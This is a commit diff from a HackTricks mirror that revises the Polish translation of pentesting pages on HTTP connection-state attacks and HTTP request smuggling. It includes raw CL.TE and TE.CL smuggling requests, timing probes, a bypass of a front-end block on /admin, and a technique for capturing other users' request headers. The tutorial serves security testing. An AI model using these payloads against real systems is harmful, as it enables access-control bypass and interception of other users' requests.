Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent

Browse source
This commit is contained in:
Translator 2024-03-25 01:49:31 +00:00
parent 86db9255f4
commit 4a72badd5f
5 changed files with 390 additions and 163 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

BIN
.gitbook/assets/image (729).png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 492 KiB

35
pentesting-web/http-connection-request-smuggling.md
View file

@ -4,55 +4,52 @@
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**To jest streszczenie postu [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**To jest streszczenie posta** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Ataki na stan połączenia <a href="#state" id="state"></a>
## Ataki na Stan Połączenia <a href="#state" id="state"></a>
### Walidacja pierwszego żądania
### Walidacja Pierwszego Żądania
Podczas przekierowywania żądań, odwrotne serwery proxy mogą polegać na nagłówku **Host**, aby określić docelowy serwer backendowy, często polegając na białej liście hostów, które mają uprawniony dostęp. Jednak istnieje podatność w niektórych serwerach proxy, gdzie biała lista jest stosowana tylko dla początkowego żądania w połączeniu. W rezultacie atakujący mogą wykorzystać to, najpierw wysyłając żądanie do dozwolonego hosta, a następnie żądając dostępu do wewnętrznej strony przez to samo połączenie:
```text
Podczas przekierowywania żądań, serwery proxy odwrotne mogą polegać na nagłówku **Host**, aby określić docelowy serwer backendowy, często polegając na białej liście hostów, które mają zezwolenie na dostęp. Jednak istnieje podatność w niektórych serwerach proxy, gdzie biała lista jest egzekwowana tylko podczas początkowego żądania w połączeniu. W rezultacie atakujący mogą wykorzystać to, najpierw wysyłając żądanie do zezwolonego hosta, a następnie żądając strony wewnętrznej przez to samo połączenie:
```
GET / HTTP/1.1
Host: [allowed-external-host]
GET / HTTP/1.1
Host: [internal-host]
```
Ta podatność na szczęście nie jest powszechna.
### Pierwsze żądanie routingu
W niektórych konfiguracjach serwer front-endowy może używać **nagłówka Host pierwszego żądania** do określenia routingu do serwera back-endowego dla tego żądania, a następnie trwale kierować wszystkie kolejne żądania z tego samego połączenia klienta do tego samego połączenia back-endowego. Można to zademonstrować jako:
```text
W niektórych konfiguracjach serwer front-endowy może używać **nagłówka Host pierwszego żądania** do określenia routingu do back-endu dla tego żądania, a następnie trwale kierować wszystkie kolejne żądania z tego samego połączenia klienta do tego samego połączenia z back-endem. Można to zademonstrować jako:
```
GET / HTTP/1.1
Host: example.com
POST /pwreset HTTP/1.1
Host: psres.net
```
Ten problem może potencjalnie zostać połączony z [atakami na nagłówek Host](https://portswigger.net/web-security/host-header), takimi jak zatrucie resetem hasła lub [zatrucie pamięci podręcznej sieci Web](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne podatności lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
To potencjalnie może być połączone z [atakiem na nagłówek Hosta](https://portswigger.net/web-security/host-header), takim jak zatrucie resetowania hasła lub [zatrucie pamięci podręcznej sieciowej](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne podatności lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
{% hint style="info" %}
Aby zidentyfikować te podatności, można wykorzystać funkcję "sonda stanu połączenia" w narzędziu HTTP Request Smuggler.
Aby zidentyfikować te podatności, można wykorzystać funkcję 'connection-state probe' w HTTP Request Smuggler.
{% endhint %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

214
pentesting-web/http-request-smuggling/README.md
View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -31,20 +31,20 @@ Umożliwia to użytkownikowi **modyfikację następnego żądania, które dotrze
**Transfer-Encoding: chunked**
> Nagłówek Transfer-Encoding określa formę kodowania używanego do bezpiecznego przesyłania treści ładunku do użytkownika.\
> Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania treści ładunku do użytkownika.\
> Chunked oznacza, że duże dane są wysyłane w serii kawałków.
### Rzeczywistość
**Serwer Front-End** (bilansowanie obciążenia/przekierowanie) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_, a **serwer Back-End przetwarza drugi**, co powoduje **desynchronizację** między tymi dwoma systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do serwera odwrotnego proxy, które zostanie **zinterpretowane** przez **serwer back-end jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end zinterpretuje 2. wstrzyknięte żądanie** tak, jakby **pochodziło od następnego klienta**, a **rzeczywiste żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
**Serwer Front-End** (bilansowanie obciążenia/przekierowanie) **przetwarza** nagłówek _**content-length**_ lub _**transfer-encoding**_, a **serwer Back-End** **przetwarza drugi**, co powoduje **desynchronizację** między tymi dwoma systemami.\
Może to być bardzo krytyczne, ponieważ **atakujący będzie w stanie wysłać jedno żądanie** do serwera odwrotnego proxy, które zostanie **zinterpretowane** przez **serwer back-end jako 2 różne żądania**. **Niebezpieczeństwo** tej techniki polega na tym, że **serwer back-end zinterpretuje** **wstrzyknięte drugie żądanie** tak, jakby **pochodziło od następnego klienta**, a **rzeczywiste żądanie** tego klienta będzie **częścią** **wstrzykniętego żądania**.
### Szczególne przypadki
Pamiętaj, że w protokole HTTP **znak nowej linii składa się z 2 bajtów:**
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **nie jest wymagana nowa linia na końcu żądania**.
* **Transfer-Encoding:** Ten nagłówek używa w **ciale** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **zakończyć się** nową linią, ale ta nowa linia **nie jest uwzględniana** przez wskaźnik długości. Ten sposób przesyłania musi zakończyć się **kawałkiem o rozmiarze 0, po którym następują 2 nowe linie**: `0`
* **Content-Length**: Ten nagłówek używa **liczby dziesiętnej** do wskazania **liczby** **bajtów** ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, **znak nowej linii nie jest potrzebny na końcu żądania**.
* **Transfer-Encoding:** Ten nagłówek używa w **ciale** **liczby szesnastkowej** do wskazania **liczby** **bajtów** **następnego kawałka**. **Kawałek** musi **zakończyć się** **znakiem nowej linii**, ale ten znak **nie jest uwzględniany** przez wskaźnik długości. Ten sposób przesyłania musi zakończyć się **kawałkiem o rozmiarze 0, po którym następują 2 znaki nowej linii**: `0`
* **Connection**: Na podstawie mojego doświadczenia zaleca się użycie **`Connection: keep-alive`** w pierwszym żądaniu ataku na przesyłanie żądań.
## Podstawowe Przykłady
@ -53,7 +53,7 @@ Pamiętaj, że w protokole HTTP **znak nowej linii składa się z 2 bajtów:**
Próbując wykorzystać to za pomocą Burp Suite, **wyłącz opcje `Update Content-Length` i `Normalize HTTP/1 line endings`** w powtarzaczu, ponieważ niektóre gadżety nadużywają znaków nowej linii, powrotów karetki i błędnych długości treści.
{% endhint %}
Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez serwery front-end i back-end. Te ataki mogą przybierać różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie sposobów, w jaki serwery front-end i back-end priorytetyzują te nagłówki. Podatności wynikają z przetwarzania tego samego żądania przez serwery w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych rezultatów.
Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych żądań, które wykorzystują rozbieżności w interpretacji nagłówków `Content-Length` (CL) i `Transfer-Encoding` (TE) przez serwery front-end i back-end. Ataki te mogą przybierać różne formy, głównie jako **CL.TE**, **TE.CL** i **TE.TE**. Każdy typ reprezentuje unikalne połączenie priorytetów serwerów front-end i back-end w odniesieniu do tych nagłówków. Podatności wynikają z przetwarzania tego samego żądania przez serwery w różny sposób, co prowadzi do nieoczekiwanych i potencjalnie złośliwych rezultatów.
### Podstawowe Przykłady Typów Podatności
@ -65,8 +65,8 @@ Ataki na przesyłanie żądań HTTP są tworzone poprzez wysyłanie dwuznacznych
* **Back-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
* **Scenariusz Ataku:**
* Atakujący wysyła żądanie, w którym wartość nagłówka `Content-Length` nie zgadza się z rzeczywistą długością treści.
* Serwer front-end przekazuje całe żądanie do serwera back-end, na podstawie wartości `Content-Length`.
* Serwer back-end przetwarza żądanie jako kawałkowane ze względu na nagłówek `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
* Serwer front-end przekazuje całe żądanie do serwera back-end, bazując na wartości `Content-Length`.
* Serwer back-end przetwarza żądanie jako kawałkowe ze względu na nagłówek `Transfer-Encoding: chunked`, interpretując pozostałe dane jako oddzielne, następne żądanie.
* **Przykład:**
```
@ -87,9 +87,9 @@ Foo: x
* **Front-End (TE):** Przetwarza żądanie na podstawie nagłówka `Transfer-Encoding`.
* **Back-End (CL):** Przetwarza żądanie na podstawie nagłówka `Content-Length`.
* **Scenariusz Ataku:**
* Atakujący wysyła kawałkowane żądanie, gdzie rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
* Atakujący wysyła żądanie kawałkowe, gdzie rozmiar kawałka (`7b`) i rzeczywista długość treści (`Content-Length: 4`) nie zgadzają się.
* Serwer front-end, respektując `Transfer-Encoding`, przekazuje całe żądanie do serwera back-end.
* Serwer back-end, respektując `Content-Length`, przetwarza jedynie początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego, następnego żądania.
* Serwer back-end, respektując `Content-Length`, przetwarza jedynie początkową część żądania (`7b` bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
* **Przykład:**
```
@ -138,7 +138,7 @@ Transfer-Encoding
#### **Scenariusz CL.CL (Content-Length używane przez obie strony, zarówno front-end, jak i back-end):**
* Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka `Content-Length`.
* Ten scenariusz zazwyczaj nie prowadzi do przemytu, ponieważ oba serwery interpretują długość żądania w sposób zgodny.
* Ten scenariusz zazwyczaj nie prowadzi do przemytu, ponieważ oba serwery interpretują długość żądania zgodnie.
* **Przykład:**
```
@ -152,8 +152,8 @@ Normalne żądanie
#### **Scenariusz CL != 0:**
* Dotyczy scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania zawiera treść.
* Jest to istotne przy zrozumieniu i tworzeniu ataków przemytu, ponieważ wpływa na to, w jaki sposób serwery określają koniec żądania.
* Dotyczy scenariuszy, w których nagłówek `Content-Length` jest obecny i ma wartość różną od zera, co wskazuje, że ciało żądania zawiera treść.
* Jest to istotne przy zrozumieniu i tworzeniu ataków przemytu, ponieważ wpływa na to, jak serwery określają koniec żądania.
* **Przykład:**
```
@ -167,7 +167,7 @@ Ciało nie jest puste
#### Wymuszanie za pomocą nagłówków hop-by-hop
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, co umożliwia przemyt żądania HTTP**.
Wykorzystując nagłówki hop-by-hop, można wskazać serwerowi proxy, aby **usunął nagłówek Content-Length lub Transfer-Encoding, co umożliwia wykorzystanie ataku przemytu HTTP**.
```
Connection: Content-Length
```
@ -177,14 +177,14 @@ Dla **więcej informacji na temat nagłówków hop-by-hop** odwiedź:
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## Odkrywanie Smuglowania Żądań HTTP
## Odkrywanie Wrażliwości na Przesyłanie Żądań HTTP
Identyfikacja podatności na smuglowanie żądań HTTP często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
Identyfikacja wrażliwości na przesyłanie żądań HTTP często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania wrażliwości CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich wrażliwości:
### Znajdowanie Podatności CL.TE Za Pomocą Technik Czasowych
### Znajdowanie Wrażliwości CL.TE Za Pomocą Technik Czasowych
* **Metoda:**
* Wyślij żądanie, które w przypadku podatności aplikacji spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* **Przykład:**
```
@ -199,16 +199,16 @@ A
0
```
* **Obserwacja:**
* Serwer front-endowy przetwarza żądanie na podstawie `Content-Length` i przerywa przekazywanie wiadomości przedwcześnie.
* Serwer back-endowy, oczekując na wiadomość w postaci kawałków, czeka na kolejny kawałek, który nigdy nie przychodzi, powodując opóźnienie.
* Serwer front-endowy przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie.
* Serwer back-endowy, oczekując na wiadomość kawałkowaną, czeka na kolejny kawałek, który nigdy nie przychodzi, powodując opóźnienie.
* **Wskaźniki:**
* Przekroczenia czasu lub długie opóźnienia w odpowiedzi.
* Timeouts lub długie opóźnienia w odpowiedzi.
* Otrzymanie błędu 400 Bad Request od serwera back-endowego, czasami z szczegółowymi informacjami o serwerze.
### Znajdowanie Podatności TE.CL Za Pomocą Technik Czasowych
### Znajdowanie Wrażliwości TE.CL Za Pomocą Technik Czasowych
* **Metoda:**
* Wyślij żądanie, które w przypadku podatności aplikacji spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* **Przykład:**
```
@ -225,40 +225,38 @@ X
* Serwer front-endowy przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całą wiadomość.
* Serwer back-endowy, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie przychodzą, powodując opóźnienie.
### Inne Metody Znajdowania Podatności
### Inne Metody Znajdowania Wrażliwości
* **Analiza Różnicowa Odpowiedzi:**
* Wyślij nieco zróżnicowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, wskazując na rozbieżność w parsowaniu.
* Wyślij nieco zróżnicowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na rozbieżność w parsowaniu.
* **Użycie Narzędzi Automatyzujących:**
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te wrażliwości, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
* **Testy Zmienności Długości Zawartości:**
* Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością zawartości i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
* **Testy Zmienności Transfer-Encoding:**
* Wyślij żądania z zasłoniętymi lub zniekształconymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery front-endowy i back-endowy reagują na takie manipulacje.
### Testowanie Podatności na Smuglowanie Żądań HTTP
### Testowanie Wrażliwości na Przesyłanie Żądań HTTP
Po potwierdzeniu skuteczności technik czasowych, istotne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia twoich żądań, na przykład wysłanie żądania do `/` powinno skutkować odpowiedzią 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowe Przykłady](./#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient chce uzyskać dostęp do innych zasobów.
Po potwierdzeniu skuteczności technik czasowych, istotne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia twoich żądań, na przykład sprawienie, że żądanie do `/` spowoduje odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowe Przykłady](./#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient chce uzyskać dostęp do innych zasobów.
**Kluczowe Rozważania**
Podczas testowania podatności na smuglowanie żądań poprzez ingerencję w inne żądania, pamiętaj o:
Podczas testowania wrażliwości na przesyłanie żądań poprzez ingerencję w inne żądania, pamiętaj o:
* **Odrębne Połączenia Sieciowe:** "Atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza obecności podatności.
* **Spójne URL i Parametry:** Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów back-endowych na podstawie adresu URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym do udanego ataku.
* **Warunki Czasowe i Wyścigowe:** "Normalne" żądanie, mające na celu wykrycie ingerencji z "atakującego" żądania, rywalizuje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. W przypadku ruchliwych aplikacji może być konieczne przeprowadzenie kilku prób dla potwierdzenia podatności.
* **Wyzwania Związane z Rozdziałem Obciążenia:** Serwery front-endowe działające jako równoważniki obciążenia mogą rozprowadzać żądania na różne systemy back-endowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt równoważenia obciążenia może wymagać kilku prób potwierdzenia podatności.
* **Nieprzewidziane Skutki Dla Użytkownika:** Jeśli twój atak przypadkowo wpływa na żądanie innego użytkownika (nie jest to "normalne" żądanie wysłane do wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócić innych użytkowników, wymagając ostrożnego podejścia.
* **Odrębne Połączenia Sieciowe:** "Atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza obecności wrażliwości.
* **Spójne URL i Parametry:** Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Współczesne aplikacje często kierują żądania do konkretnych serwerów back-endowych na podstawie adresu URL i parametrów. Dopasowanie tych zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym do udanego ataku.
* **Warunki Czasowe i Wyścigowe:** "Normalne" żądanie, mające na celu wykrycie ingerencji z "atakującego" żądania, rywalizuje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. Ruchliwe aplikacje mogą wymagać wielokrotnych prób dla potwierdzenia wrażliwości.
* **Wyzwania Związane z Balansem Obciążenia:** Serwery front-endowe działające jako balanser obciążenia mogą rozprowadzać żądania na różne systemy back-endowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt balansowania obciążenia może wymagać kilku prób potwierdzenia wrażliwości.
* **Niekorzystny Wpływ na Użytkownika:** Jeśli twój atak przypadkowo wpłynie na żądanie innego użytkownika (nie na "normalne" żądanie wysłane do wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócić innych użytkowników, wymagając ostrożnego podejścia.
## Nadużywanie Smuglowania Żądań HTTP
## Nadużywanie Przesyłania Żądań HTTP
### Aby ominąć kontrole bezpieczeństwa front-endu
### Omijanie Bezpieczeństwa Front-Endu za Pośrednictwem Przesyłania Żądań HTTP
### Ominiecie Kontroli Bezpieczeństwa Front-Endu za Pośrednictwem Smuglowania Żądań HTTP
Czasami proksy front-endowe egzekwują środki bezpieczeństwa, analizując przychodzące żądania. Niemniej jednak te środki mogą być obejścia poprzez wykorzystanie Przesyłania Żądań HTTP, umożliwiając nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład dostęp do `/admin` może być zabroniony zewnętrznie, a proksy front-endowe aktywnie blokują takie próby. Niemniej jednak ten proxy może zaniedbać sprawdzenie osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając luki umożliwiające obejście tych ograniczeń.
Czasami proksy front-endowe narzucają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą zostać zlekceważone poprzez wykorzystanie Smuglowania Żądań HTTP, umożliwiając nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład dostęp do `/admin` może być zablokowany z zewnątrz, a proksy front-endowe aktywnie blokują takie próby. Niemniej jednak ten proxy może zaniedbać sprawdzenie osadzonych żądań wewnątrz smuglowanego żądania HTTP, pozostawiając pętlę do omijania tych ograniczeń.
Rozważ poniższe przykłady ilustrujące, jak Smuglowanie Żądań HTTP może być wykorzystane do ominiecia kontroli bezpieczeństwa front-endu, szczególnie celując w ścieżkę `/admin`, która zazwyczaj jest chroniona przez proxy front-endowe:
Rozważ poniższe przykłady ilustrujące, jak Przesyłanie Żądań HTTP może być wykorzystane do obejścia kontroli bezpieczeństwa front-endu, szczególnie kierując się ścieżką `/admin`, która zazwyczaj jest chroniona przez proksy front-endowe:
**Przykład CL.TE**
```
@ -277,7 +275,7 @@ Content-Length: 10
x=
```
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do początkowego żądania, podczas gdy osadzone żądanie wykorzystuje nagłówek `Transfer-Encoding: chunked`. Przekierowanie front-endowe przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do początkowego żądania, podczas gdy osadzone żądanie wykorzystuje nagłówek `Transfer-Encoding: chunked`. Przekierowanie front-end przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
**Przykład TE.CL**
```
@ -295,13 +293,13 @@ a=x
0
```
W przeciwnym razie, w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowy pomija przemycone żądanie `GET /admin`, niechcący przyznając dostęp do ograniczonej ścieżki `/admin`.
W przeciwnym razie, w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowy pomija osadzone żądanie `GET /admin`, nieumyślnie przyznając dostęp do ograniczonej ścieżki `/admin`.
### Ujawnianie przepisywania żądania front-endowego <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Aplikacje często wykorzystują **serwer front-endowy** do modyfikowania przychodzących żądań przed przekazaniem ich do serwera back-endowego. Typową modyfikacją jest dodawanie nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do serwera back-endowego. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby **omijania zabezpieczeń** lub **odkrywania ukrytych informacji lub punktów końcowych**.
Aby zbadać, w jaki sposób proxy zmienia żądanie, zlokalizuj parametr POST, który serwer back-endowy odbija w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
Aby zbadać, w jaki sposób proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odbija w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -320,7 +318,7 @@ search=
```
W tej strukturze kolejne składniki żądania są dodawane po `search=`, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
Ważne jest dopasowanie nagłówka `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość spowoduje ucięcie odzwierciedlonych danych, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ważne jest, aby dopasować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość spowoduje ucięcie odzwierciedlonych danych, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
